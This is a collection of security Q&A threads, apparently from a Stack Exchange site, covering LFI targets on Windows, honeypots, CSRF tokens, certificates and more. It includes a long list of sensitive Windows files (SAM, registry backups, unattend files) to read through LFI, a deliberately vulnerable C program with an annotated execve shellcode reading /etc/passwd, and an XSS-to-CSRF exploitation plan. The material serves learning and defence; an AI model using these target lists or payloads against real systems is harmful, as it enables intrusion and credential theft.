I mean the first file or common files which a pentester or an unauthorized user will go for?

I am looking for possible post-exploitation ways for LFI vulnerability for a website that is hosted on a Windows server instead of Linux.

I know I can upload backdoors and reverse shell connections etc. But, I am more interested in other possibilities instead of these.

Since this is an assignment I have assigned with. So during presentation, I won't be going that deep into web shells and using Kali Linux etc.

Just want to cover a simple and general post-exploitation for LFI without using external backdoors or tools

This may depend on what files the webserver's user may have access to. But, this user should at least have access to the files related to the webserver. This could include viewing application source code (to help find additional, more severe issues like RCE), configuration files (possibly containing sensitive information such as database credentials which could be used by an attacker if the database server is exposed), or other files (think user uploads).

As far as general Windows files, I found a cheat sheet for Windows LFI online: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/

C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

Some of these should be world readable; others may be locked down or non-existent.  These should provide a good starting point, but there may be additional files you should add depending on what you are looking for.


Cowrie as a decoy on production server: is it a good idea? I'm considering setting up a SSH honeypot listening on port 22 on my production servers. I'm hoping that not getting an immediate Connection refused would slow down potential attackers.

Are there any security issues with this setup?

Custom-coded honeypots should not be run on production servers. Honeypots are meant to gather data, but are not meant to be unbreakable. The Dev for Cowrie says in his FAQ:

  However, Cowrie has not had any real security audit done on it, and
  it's definitely vulnerable to some DoS attacks, as there are no limits
  on how many people can connect to it, or how many files they can
  download.

  It's my recommendation to run Cowrie on a dedicated well firewalled
  Virtual Machine as the non-root user.

There are types of honeypots that are a reconfigured production service, and you might use those on production servers because the threat is no lower than running the production service.

You have to remember that you are inviting people with nefarious motives into your server. Whatever tools you give them will be used against you. The general advice is to keep the honeypots segregated and automatically refreshed on a regular basis so that it does not become a launching pad for the attacker.


IKE/IPsec connection attempt -Is this legal? I manage IT for a small school.  We have an IPSec tunnel up between two sites.

This morning I saw alerts that showed some unknown IP was attempting to negotiate an IPSec/IKE session with my firewall.  In fact, it was happening independently at both sites originating from the same public IP.  A whois on the IP showed it resolves to a major US University.  I assumed it was a bored college student and didn't think much of it, but called the University's Abuse number anyway and left them a message.

I received a return call from an InfoSec guy at the college within 5 minutes, but to my surprise he told me their "engineering school" was performing some "research" on "IPSec and IKE..."  He said I could send an email to open a ticket to request that my IP ranges were omitted from further "testing."

This seems like a really strange thing for a Ivy League school on the other coast to be doing to my network in Seattle.  Is it legal?

You need to read up on the state laws that govern computer activity.

By the sounds of things they were attempting to gain access to your network without permission. I'm not a legal expert but it sounds to me that it's not legal.

One could argue that what they are doing is legal because they did not actually gain access unauthorized access to your network. However it's my opinion that they shouldn't be trying, successful or otherwise.

Maybe you should try and get more information on what exactly it was that they were 'testing'?


Ideas for storing documents and hash values Scenario is I received documents as a PDF along with an MD5 hash. Problem is how do I store these? Thought is to store the document and MD5 separately so that anyone with access to the document does not also have access to MD5 file? I need to ensure neither the document or the MD5 are altered? Is there a better way to do this?

If possible, have the sender sign them using PGP instead of just providing MD5 hash.

If that is not possible, than the second best thing would be to verify the hash and then sign the document using your own PGP key.

In both cases, you can store the signature in a file next to the PDF. This will allow you to verify the documents were not changed.


ports blocked by firewall and not the server I was asked this question at an interview and i wasn't sure about the answer. The question was "suppose you were checking the open ports on a particular webserver which was behind a firewall, how could you figure out which ports were closed on the webserver and which ports were blocked by the firewall. You can use whatever tools that you want".

A hint that was given to me was the principle used in traceroute - i.e. the idea of sending packets with a varying TTL value so that TTL-exceeded messages would be sent back from the intermediate device.

What are the various methods in which such a goal could be achieved(with or without the hint).

There is a tool called Firewalk that is designed to accomplish this goal.  It's a bit old but since networking hasn't changed much in that time I expect it should still work.

Article, tutorial, project home page.

The whitepaper linked from the article is now at http://packetfactory.openwall.net/projects/firewalk/firewalk-final.pdf.

The general concept is that as long as there is a hop after the firewall, you can set the TTL of a packet so that it gets one hop past the firewall and expires, causing an ICMP response to be sent back to you.  If you get no response, the firewall blocked the packet.  If you get a response, the firewall didn't block the packet (meaning the target host must be).

There are ways this could go wrong, such as outbound ICMP messages being denied by the firewall, a different firewall may be blocking inbound or outbound traffic, general packet loss, the target host being down or there being no hops after the firewall before the target server, but if you get a positive response out of it then you know it will be accurate.  The Firewalk tool has techniques to try to detect false negatives.

You can probably achieve similar results with traceroute although you may need to fiddle with the options such as the type and size of packets that you send and you will need to send many different probes to rule out false negatives.  The whitepaper uses traceroute extensively in examples.


Security consequences of a publicly accessible database? I've been asked to expose the database of a web app publicly so that an external service can connect directly to the database (via username/password) to read information. This database is currently behind a firewall, with the web app connecting locally to it.

This immediately rings alarm bells in my head as being a security threat, butt I'd like to be able to summarize why this isn't a good idea. So what actually are the threats?

I would immediately think of the exposure to potential DDOSing of the database as well as any exploits and vulnerabilities that exist for the particular database server itself? Simple reconfiguration of the database server, exposing data? Not using SSL connections?

The bells ringing in your head are correct and I would be right there with you. This is a bad practice and I am afraid I have seen it done many times.

Here are some vulnerabilities and threats that come to mind with exposing a database to a third party and the public:

Authentication via username/password is weak and subject to brute force attacks and password spraying. It will be tough to implement MFA.
Some database support TLS/SSL, some don't. Better make sure end-to-end encryption is enabled.
Depending on if you store PHI, you are most definitely not compliant with HIPPA.
Lacking a clipping level, or the ability to lock someone out after they have failed to authenticate a number of times.
Database software can be very complex, you better keep up to date on all patches. If you are late or miss one, good luck.
I hope you trust this third party 1000%, any compromise and your database is gone.
DOS attacks are low hanging fruit
Any attacker that scans your externally facing network and finds a open port that is known for running databases will likely know you are a easy target in other areas
Management. Are you going to make a username and password for each user?
It is very difficult if you have 30 users to make sure they have the correct database and table views and access. Least privilege is very hard here.

Think about possibly the correct way of doing this (there are other ways):

Exposing a API to the public. The API connects, preferably through a WAF, back to the database. The API can grant tokens that have particular rights (database views) and access time. These are easily revoked and your database is much more secure, if you do it right*. The API can be easily secured with TLS, whitelisting, MFA and other controls such as locking someone out after a number of failed attempts


Verifying hardware-backed key pairs with Key Attestation I am currently working through the Android tutorial about implementing Key Attestation. The tutorial can be found here: https://developer.android.com/training/articles/security-key-attestation
In the tutorial, under the implementation steps, there is a warning under the certificate's validity step: "Caution: Although you can complete this process within your app directly, it's safer to check the certificates' revocation status on a separate server that you trust."
Similar warning under the "Compare the extension data that you've retrieved from your ASN.1 parser with the set of values that you expect the hardware-backed key to contain." step: "Caution: Although you can complete this process within your app directly, it's safer to check the certificate's extension data on a separate server that you trust."
Question: Why is it safer to check the certificates' revocation status and extension data on a separate server versus within the app directly? What are the security implications of not using the separate server?

The certificate extension data is certified by hardware-backed keystore/strongbox (TEE) using its private key. The corresponding public key of TEE is certified by Google that acts as root of trust which is a mandatory requirement for all GMS licensed android 7+ devices. Device manufacturer injects certificate chain into the device's TEE at the factory.
The intent of key attestation is that apps can ensure that whether the provisioned secure environment is not emulated by the user by root access on the device. An emulated TEE cannot extract private key of real TEE so its chain of trust has to be fraudulent. To verify the chain of trust, the querying app needs to acquire Google root certificate and match it with the attestation data.
Local verification of attestation data can be manipulated by code injection by an app with root access. Code injection can feed fraudulent Google root certificate to the querying app to pass verification. Whereas forwarding the attestation to the web service can verify chain of trust externally and the client is let known about the attestation result. Online verification also allows web service to refuse service to the client if valid secure environment is not provisioned.
Certificate revocation can also be manipulated by the user. E.g. An emulated TEE can use compromised but valid chain of trust whose revocation status has been manipulated to pass local verification. Web service can verify certificate revocation status externally and discard attestation data if the certificate is found to be revoked.


Is session/cookie based authentication stateful or stateless? Flask Web Development says

  The current login functionality implemented with the help of Flask-Login stores data
  in the user session, which Flask stores by default in a client-side cookie, so the server
  does not store any user-related information; it asks the client to store it instead. It
  would  appear  that  this  implementation  complies  with  the  stateless  requirement  of
  REST, but the use of cookies in RESTful web services falls into a gray area, as it can be
  cumbersome for clients that are not web browsers to implement them. For that rea‐
  son, it is generally seen as a bad design choice to use cookies in APIs.

https://stackoverflow.com/a/59826012/ says:

  Session-based authentication is stateful. This means that an authentication record or session must be kept both server and client-side.  The backend keeps track of the active sessions in a database, while on the front-end a cookie is created that holds a session identifier.

https://dzone.com/articles/cookies-vs-tokens-the-definitive-guide says

  Cookie-based authentication is stateful. This means that an authentication record or session must be kept both server and client-side. The server needs to keep track of active sessions in a database, while on the front-end a cookie is created that holds a session identifier, thus the name cookie based authentication.

Is it correct that session based authentication is the same as cookie-based authentication?

Does session/cookie based authentication store user/session/... on server side?

Is it stateful or stateless?

Is the difference between cookie based and token based authentication exactly that the former is not signed, while the latter is?

Thanks.

Is it correct that session based authentication is the same as cookie-based authentication?

These phrases are not the same: "cookie based" reflects how session information gets transmitted while "session based" reflects that a session is used instead of having to login for every transaction again. "Session based" might be implemented with cookies and it typically is, but this is not an actual requirement. One could transmit the session for example in the URL too.

  Does session/cookie based authentication store user/session/... on server side?

Not necessarily. All information can be stored inside the (signed/encrypted) cookie so that only the client actually stores the information and the server can extract the information from the cookie. Or the cookie can just be a key to look up the information in the servers database in which there is no need to sign/encrypt it.

  Is it stateful or stateless?

Depends on the meaning/interpretation of these terms in a specific context. First, there is always a state involved when having a session, compared for example to the case where authentication credentials are send with each request. So from this perspective session based authentication is always stateful.

But in some contexts the question is if both server and client keep the state information. In this interpretation it would not be stateful if all the state information are contained in the session cookie, since the server only extracts the state from the cookie and might update the state by sending a new cookie, but does not actually store the state locally.

  Is the difference between cookie based and token based authentication exactly that the former is not signed, while the latter is?

They are not the same but similar. A session cookie is usually set initially by the server and then implicitly reflected by the client in each request by the client inside the Cookie HTTP header field. An authentication token is usually created some other way (for example when signing up for a service) and is explicitly added to the request by the client, usually inside the Authorization HTTP header field. Both session cookie and authentication token are opaque to the client in that it does not care (and often does not know) the inner structure.


Detecting and filtering data over AC power lines? Given that it's possible for the average consumer to send covert signals over normal AC lines how can an IT department identify and filter out this communication?

I'm not sure how difficult this is considering that there are many different formal signal types that have been created:

Home Plug
UPA
HD-PLC
G.hn

The simple answer is that you can't. Power lines are physical cables that interconnect machines in your office, as well as between offices. It's just not possible to identify the use of these kinds of communications without resorting to measuring noise on those lines, or (as Lucas said) buying a bunch of hardware that uses those communications technologies and hooking them up. Even then, you're going to have problems of cross-talk and interference, and a user could probably just unplug them from the socket when you're not looking. It's not feasible in the slightest.

If you want to prevent someone from using one of these ethernet-over-power technologies to communicate with sensitive equipment, install a UPS on that equipment that has conditioned output. These UPS units take an incoming AC power source, regulate it to DC via a switch-mode power supply (SMPS) and then use a large power transistor (e.g. FET or IGBT) to "step" the output power, either directly (by driving a 50/60Hz signal) or indirectly (charge pump into a capacitor). Part of this usually involves a feedback step, which allows very precise changes in output voltage to be made in order to maintain a perfect signal. The main reason for doing this is that load (i.e. the amount of current being pulled by devices on the UPS) will often alter the performance of the UPS, especially when load spikes occur. The feedback allows the UPS to maintain phase and voltage at all times. The overall process entirely removes any noise from the input supply, and makes the use of power-communications technologies nearly impossible on that circuit.

The fact is, though, that a determined person will always find a way. They could use WiFi, Bluetooth, XBee, ethernet cables, USB drives, FireWire, etc. to defeat any kind of air-gap you have installed. You need to prioritise your protection to sensitive areas, and mandate strong security practices elsewhere via policy.


Afraid about SSH on my Linux system I've checked my Linux server (Centos 6) with rkhunter. I found the following in rkhunter log

[14:38:54]   Checking if SSH protocol v1 is allowed          [ Warning ]
[14:38:54] Warning: The SSH configuration option 'Protocol' has not been set.
           The default value may be '2,1', to allow the use of protocol version 1.

When i checked with /etc/ssh/ I found 2 config files, sshd_config and ssh_config.

ssh_config last modified on 21-Sep-2013 (22:30).

rkhunter result of 21-Sep-2013 (04:20)

[04:10:40]   Checking if SSH root access is allowed          [ Not set ]
[04:10:40]   Checking if SSH protocol v1 is allowed          [ Not allowed ]

I'm worried that my server maybe compromised.

Update

After run clamav scan on server, I found /usr/sbin/sasluster (Stealth MultiFunctional IrcBot).

How do I remove it? What does it mean?

Going by what you originally posted about SSH, there is no evidence there that your server is compromised. It would be quite a round-the-houses way of breaking SSH for an attacker to resort to a default configuration.

This is simply a warning message that your sshd or ssh might be misconfigured. RKHunter could not find a configuration value for the Protocol key, and is simply warning you that the default might not be great for security.

You should edit your sshd_config and ssh_config files and add a Protocol 2 line to avoid getting this warning in the future by explicitly disabling protocol 1.

So you have evidence that your SSH config file has altered. This is almost certainly the result of an update, if someone has run an apt-get upgrade and then said yes when asked about a config overwrite, this can happen.

You should check the rest of your sshd_config however just to make sure that everything is as it should be, particularly disallowing root login. Also check /etc/passwd to see if any new users have been created, and /etc/sudo for the same reasons.

If your server does turn out to be compromised, this is unlikely to be related to the warning about SSH.


What lies behind this complicated shellcode on linux? It's pretty much my first time playing around with a buffer overflow exploit. I've written a simple C program that is vulnerable to buffer overflows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    char* filename = getenv("filename");
    char buff[128];

    strcpy(buff, filename);
}

I compiled it like this on my Ubuntu Server 10.04 (i386)

gcc vuln.c -o vuln -z execstack -fno-stack-protector

I tried to inject various types of shellcodes after finding out how many bytes are needed in filename to override the return address (So then I pass a NOP slide + a shellcode + address that leads to the NOP slide through the filename environment variable).
Common variations of execve bin/sh resulted in a segmentation fault within their own code, for some reason, but one oddly specific shellcode really did work for me:

Taken from https://www.exploit-db.com/exploits/38116/
It calls upon execve to run /bin/cat on /etc/passwd

Disassembly of section .text:
08048060 <.text>:
 8048060:   eb 1f                   jmp    0x8048081
 8048062:   5b                      pop    %ebx
 8048063:   31 c0                   xor    %eax,%eax
 8048065:   88 43 0b                mov    %al,0xb(%ebx)
 8048068:   88 43 18                mov    %al,0x18(%ebx)
 804806b:   89 5b 19                mov    %ebx,0x19(%ebx)
 804806e:   8d 4b 0c                lea    0xc(%ebx),%ecx
 8048071:   89 4b 1d                mov    %ecx,0x1d(%ebx)
 8048074:   89 43 21                mov    %eax,0x21(%ebx)
 8048077:   b0 0b                   mov    $0xb,%al
 8048079:   8d 4b 19                lea    0x19(%ebx),%ecx
 804807c:   8d 53 21                lea    0x21(%ebx),%edx
 804807f:   cd 80                   int    $0x80
 8048081:   e8 dc ff ff ff          call   0x8048062
 8048086:   2f                      das
 8048087:   2f                      das
 8048088:   2f                      das
 8048089:   2f                      das
 804808a:   62 69 6e                bound  %ebp,0x6e(%ecx)
 804808d:   2f                      das
 804808e:   63 61 74                arpl   %sp,0x74(%ecx)
 8048091:   23 2f                   and    (%edi),%ebp
 8048093:   2f                      das
 8048094:   65 74 63                gs je  0x80480fa
 8048097:   2f                      das
 8048098:   70 61                   jo     0x80480fb
 804809a:   73 73                   jae    0x804810f
 804809c:   77 64                   ja     0x8048102
 804809e:   23 41 4a                and    0x4a(%ecx),%eax
 80480a1:   49                      dec    %ecx
 80480a2:   54                      push   %esp
 80480a3:   48                      dec    %eax
 80480a4:   41                      inc    %ecx
 80480a5:   4a                      dec    %edx
 80480a6:   49                      dec    %ecx
 80480a7:   54                      push   %esp
 80480a8:   48                      dec    %eax
 80480a9:   4b                      dec    %ebx
 80480aa:   50                      push   %eax

Now, what you see here is objdump output and not the actual original assembly which I couldn't find. It seems like the /bin/cat and the /etc/passwd strings come after all those "2F" opcodes. A quick read-up on this opcode lead me to

Adjusts the result of the subtraction of two packed BCD values to create a packed BCD result.

I have no idea what that means, though, or how this contributes to the shellcode. Can anyone try to explain it?

Moreover, I wanted to adjust this shellcode just a bit, so it calls /bin/cat on a different file path other than /etc/passwd, such as /home/kfir/helloworld, but it'll be cut off at /home/kfir/ - which is the same length as /etc/passwd (11 characters)

If you have tried shellcode before which relies on absolute addresses, then that
could explain the crashes. This shellcode survives because it uses call to
obtain the absolute stack pointer address and then modifies the buffer in-place
without other stack modifications.

For a full understanding, it might be illustrative to see what is happening,
linearly:

8048060:    eb 1f                   jmp    0x8048081

Do a short, relative jump (eb) forward (current instruction pointer after
executing instruction is 0x8048081 + 2, adding 0x1f to that gives 0x8048081
as next instruction).

8048081:    e8 dc ff ff ff          call   0x8048062

Call (e8) with an offset of -36 (signed integer of 0xffffffdc) relative
to the next instruction at 0x8048081 + 5, yielding 0x8048062. Note that
call pushes the next instruction (0x8048086) as return address on the stack.

8048062:    5b                      pop    %ebx
8048063:    31 c0                   xor    %eax,%eax

Remove the return address from the stack, storing 0x8048086 in the ebx
register. Then it sets eax register to zero. Now, let's have a look at a
hexadecimal dump of the data following that return address:

00000000: 2f2f 2f2f 6269 6e2f 6361 7423 2f2f 6574  ////bin/cat#//et
00000010: 632f 7061 7373 7764 2341 4a49 5448 414a  c/passwd#AJITHAJ
00000020: 4954 484b 50                             ITHKP

Clearly, these are not instructions, but the disassembler did not know that.

8048065:    88 43 0b                mov    %al,0xb(%ebx)

al is the 8-bit lower half of the eax register which contains zero, so this
instruction overwrites the 11th position in the above data, replacing the # by
a NUL byte (after ////bin/cat).

Why not encode the NUL byte directly in the data? Well, often the buffer is
copied up to the first NUL byte, so if the shellcode contains a NUL byte, then
it would not be fully copied. By encoding a dummy value and then overwriting it
later, this limitation is avoided.

8048068:    88 43 18                mov    %al,0x18(%ebx)

Likewise, this sets the # in the second line to zero (after //etc/passwd).

804806b:    89 5b 19                mov    %ebx,0x19(%ebx)

This overwrites AJIT in the above data (at offset 0x19) with the address of
the buffer (starting at ////bin/cat). Note that ebx is a 32-bit register, so
indeed it overwrites four bytes.

804806e:    8d 4b 0c                lea    0xc(%ebx),%ecx
8048071:    89 4b 1d                mov    %ecx,0x1d(%ebx)

This loads the address of //etc/passwd (at offset 0xc) into the ecx register
and then overwrites HAJI (at offset 0x1d) with this value.

8048074:    89 43 21                mov    %eax,0x21(%ebx)

Overwrites THKP (at offset 0x21) with four zero bytes.

Now, assume for the sake of the argument that our data (pointed to by the ebp
register) is at the 32-bit address 0xffff0000. With the above modifications to
the stack, our data now looks like this:

00000000: 2f2f 2f2f 6269 6e2f 6361 7400 2f2f 6574  ////bin/cat.//et
00000010: 632f 7061 7373 7764 0000 00ff ff0c 00ff  c/passwd........
00000020: ff00 0000 00                             .....

or, written in a more readable form with absolute memory addresses:

0xffff0000: "////bin/cat"
0xffff000c: "//etc/passwd"
0xffff0019: 0xffff0000 (address of first string, encoded in little-endian)
0xffff001d: 0xffff000c (address of second string)
0xffff0021: 0x00000000 (a NULL pointer)

Hmm, this looks like some arguments for the execve system call
(sys_execve(char *filename, char **argv, char **envp)). For the
x86 architecture, parameters are passed through the registers ebx, ecx, edx
while the system call number is passed through the eax register. So our first
argument (ebx) points to the ////bin/cat string (at 0xffff0000).

8048077:    b0 0b                   mov    $0xb,%al

Sets syscall number to 11 (sys_execve for x86).

8048079:    8d 4b 19                lea    0x19(%ebx),%ecx

Sets the second argument to the address of the arguments list (at 0xffff0019),
in our case it contains two strings and a NULL pointer. (////bin/cat,
//etc/passwd, NULL).

804807c:    8d 53 21                lea    0x21(%ebx),%edx

Sets the third argument to the address of the environment variables (at
0xffff0021), in our case it contains just a NULL terminator.

804807f:    cd 80                   int    $0x80

And finally invoke the syscall! Effectively, this code did the same as this C
snippet:

char *argv[] = {
    "////bin/cat",
    "//etc/passwd",
    NULL
};
char *envp[] = {
    NULL
};
execve(argv[0], argv, envp);


Is it possible to read and extract HTTP request headers via JavaScript while performing XSS & CSRF? If so, how? Is it possible to read and extract HTTP request headers via JavaScript?
i.e. something like;
var req = new XMLHttpRequest();
req.open(‘GET’, document.location, false);
req.send(null);
var headers = req.getAllResponseHeaders();
console.log(headers);

But instead of reading HTTP response headers (as per snippet above), it reads the HTTP request headers?
The reason I'm asking about this is that the above snippet (altered to read request HTTP headers and not response HTTP headers) will be an external JavaScript file that will successfully be called through an XSS vulnerability. External JS files are permitted here due to the lack of a CORS policy. The above code snippet (again, altered to read request headers) would then allow me to extract the HTTP request header value via scraping the http request headers from a null (or mock) HTTP request to then have the specific request header (X-CSRF-TOKEN) included within a specially crafted HTTP request which is accepted by the server and therefore bypasses the flawed CSRF protection mechanism in order to execute CSRF.
I have created a functional exploit within a localhost demo I spun up where this works for reading response headers, but I'm needing some form of capability whereby JavaScript can read HTTP request headers. Is this something that is possible in this context?
I have elaborated on this in slightly further detail below (please excuse any duplicated details);
The CSRF target request contains a CSRF-Token (anti-CSRF protection mechanism). This is a static value that is only unique per user session (and not dynamic upon individual requests) - hence the flaw here. I am trying to create a JavaScript file which I will call remotely via a Cross-site Scripting (XSS) flaw (works due to lack of CORS policy) where this JavaScript will execute within the context of the victim user. As a result, HTTP request headers are automatically added to the HTTP request by the application as I am now performing client-side requests within the context of the victim user under this localhost application (basically like being able to navigate the website while authenticated as the victim user). This is why there is no need for me to supply HTTP request headers other than the request header I need to extract (X-CSRF-TOKEN) via the XmlHttpRequest (or whatever). I just need to be able to read the X-CSRF-TOKEN HTTP request header that is set in the HTTP request (not response), extract this value, and include within a XmlHttpRequest (or whatever) to craft a request that will be accepted by the server in order to bypass the faulty anti-CSRF mechanism and successfully perform CSRF.
I have written an exploit for this but it pertains to HTTP response header cookie values within the HTTP response headers, but this obviously doesn't work as the XSRF-TOKEN cookies are not used in this context for anti-CSRF. It's the X-CSRF-TOKEN HTTP Request header that is used for the anti-CSRF mechanism. I was thinking I could do something like req.open('GET', document.location, false); Again since this will be executing under the context of the victim user, shouldn't it be trivial to scrape the X-CSRF-TOKEN HTTP request header here while submitting something like req.open('GET', document.location, false);?
Any help will be much appreciated. I hope I have explained this well enough for you to understand what it is I'm trying to do (it's late here).
Thank you for your time,
/J

You might want to look into Service Workers:

A service worker is a web worker that implements a programmable
network proxy that can respond to web/HTTP requests of the main
document. It is able to check the availability of a remote server and
to cache content when that server is available, and serve that content
later to the document. Service workers, like any other web workers,
work separately from the main document context. Service workers can
handle push notifications and synchronize data in the background,
cache or retrieve resource requests, intercept network requests
and receive centralized updates independently of the document that
registered them, even when that document is not loaded.

See also: FHantke's approach to a remote MiTM with Service Workers: https://betterprogramming.pub/man-in-the-middle-attacks-via-javascript-service-workers-52647ac929a2


Google login integrated and 2FA this is a quick question, but I really want to know this for sure:

If I integrate an option in my site which allows users to log in with their Google account, should I also provide them a function to use a second factor of authentication in my page or should  I let Google handle this topic with users Google account?

Google accounts may choose to "never ask again" for a 2FA authentication on a "trusted" device, so even if 2FA is enabled for an account, it doesn't need to be "that" much active as your security policy assumes from 2FA.

So if you need to protect yourself from a compromised Google account (even one using Google's 2FA), you'll need to perform "some" extra step of authentication on your behalf. This could be implemented by adding and enforcing your own 2FA on your website, but doing so can also bring some hassle or confusion to your users.


Is it valid to defend an CSRF token against replay (e.g. with a timestamp)? I have an MVC app that is using the AntiForgeryToken capability of ASP.NET MVC. AFAICT this uses an encrypted synchronizer token variation where it validates the payload of the tokens.

A customer has questioned the fact that these tokens don't expire, and if captured will continue to be valid for a given user's session.

It is possible to customize add a timestamp to the token and validate it, thus expiring the issued token after a period.

What I'm wondering though, is this necessary? Should CSRF tokens provide replay protection? Wouldn't an attack require either MitM or an XSS vulnerability?

I sort of expect that a longish expiry is a reasonable part of a defense-in-depth strategy, but it is odd to me that replay would be raised as a security issue with an CSRF prevention scheme.

What am I missing?

If the CSRF token can be intercepted then the session cookie can usually be intercepted as well, so CSRF wouldn't be the immediate concern in that scenario.

Some CSRF token implementations have timed expirations, but this is an extra precaution and not strictly necessary. This answer from tylerl suggests that an expiration is a good precaution in case the token is leaked somehow, but expiring the CSRF token when the session ends is ok.

In a CSRF attack the attacker has the ability to submit whatever form data they want from your session, but they can't modify your cookies. For a CSRF token to be effective it should be impossible for the attacker to know its value. If the attacker exploits a vulnerability to obtain CSRF tokens, then you want to make sure that the CSRF tokens are no longer valid once the vulnerability is fixed. As long as the token cookie is expired when the session expires everything is fine (provided you force sessions to expire if you ever suspect tokens have been leaked).

From the documentation you linked it looks to me like it's actually using the Encrypted Token Pattern, which sort of combines a Double Submit Cookie with a Synchronizer Token.


For a desktop application, why use an SSL certificate from a trusted authority? When a web browser connects to a server and downloads an SSL certificate, a third-party trusted authority ensures that the client is talking to the host that it's looking for. If the host uses a self-signed certificate, the client has no way of knowing whether or not the certificate was really from the site that the client looking for.

But what if the client already has the certificate? Let's say the client is a desktop application that has a certificate installed along with the program. When the client attempts to connect to the server, the connection could be intercepted, but only the host with the right private key can prove its identity with the client.

It seems to me that the real usefulness of a trusted CA is when the certificate needs to be downloaded to facilitate the transaction. Assuming the client already has the certificate, is the CA really that important?

As far as I can tell, the only risk of using a self-signed certificate in this scenario is that if the server's private key were to be compromised, the client could unknowingly connect to the wrong host, and the the certificate can't be revoked.

Am I understanding any of this correctly? I admit that I really only understand SSL to a high-level, conceptual degree. If I'm missing some crucial piece of the puzzle, let me know. I did read through this question), but I don't think the answer to my question is there.

As far as I can tell, the only risk of using a self-signed certificate in this scenario is that if the server's private key were to be compromised, the client could unknowingly connect to the wrong host, and the the certificate can't be revoked.

This is pretty much it - but the fact that you can't revoke the certificate is a pretty big deal (one compromise means you have to give up on all current installations of your client - since you can no longer trust they haven't had their data compromised).

Having a CA also means you have a method of updating your certificate if you change URL, change business name, etc. and means you have a method of renewing it when it expires.

It reduces the amount of things you have to keep secure - you need to very closely guard those keys, back them up, etc. - with a 3rd party, you can have a certificate re-issued.

You also have the added benefit of being able to offer your client for download via https using the same certificate - meaning that cracked or hacked clients are marginally less likely.


Standard practice for managing expired and revoked certificates used for signatures? Curious to know what the standard practice is to maintain old/revoked certificates that were previously used to sign documents that must be verified in the future.

For example, suppose there is a service that signs documents and they have a valid SSL certificate valid for one year. The service signs documents 0-1000 during the first year, 1000-2000 the second year, etc. (to keep things simple). After ten years, there will be a new certificate used for documents 9000-10000, however customers need to verify any/all of the previous documents signed with old keys. At this point they will have 10 certificates/public keys total.

So, the private key can be taken off the server to protect it from compromise, but the public key will need to remain for verification through the service itself (and the customers can also keep a copy of the public key for their own verification). In this case, does the service either:
a. loop through all the previous public keys to see if one fits
b. re-sign all of the old signatures each time a new private key is purchased
c. keep track of which documents were signed with which particular key?
d. another option not mentioned here

Also included is the possibility that in year 5, the private key used to sign documents 4000-4500 has been revoked, so a new key was needed for 4500-5000 (after any security issues were resolved).

Neither of mentioned options are correct. Why? Because public part of the signing certificate is attached to each particular signature. If anyone (say, client) needs to validate the signature, client reads signature data and extracts signature value and signing certificate. Client uses public key to validate the signature.

The only requirement here is that signing certificate must be trusted, that is, its chain ends in one of the root certificates trusted by client. Some applications require explicit trust to signing certificate, so client compares whether the attached (to signature) certificate is explicitly trusted by client.

Also, SSL certificate is not suited for data signing (does not include Code Signing or Document Signing value in the EKU extension), because it is intended for server authentication. During TLS communication only handshake data is signed to prove the private key possession.

I believe, this blog post (mine) will be helpful: https://www.sysadmins.lv/blog-en/digital-signatures.aspx


CoAP over DTLS duplication of epoch and seq no I am currently looking at the DTLS overhead when running CoAP and found a strange thing.

DTLS record layer header, 13 Byte, consists of:
{
content type, 1 Byte
version        , 2 Byte
epoch          , 2 byte
seq_no        , 6 byte
length          , 2 byte
}

AES_CCM_128_8 has a tag of 8 bytes

DTLS overhead for the record layer should then be 13 byte for the record header and 8 byte for the tag, making the total overhead 21 bytes.

But when I look in wireshark, the overhead is actually 29 bytes.

The reason for this is that epoch and seq_no is included twice, once in the record header and once in the payload. i.e. the payload is
epoch + seq_no + tag + coap

This seems very strange, why duplicate this? I´m running Californium for CoAP with the Scandium plugin for DTLS.

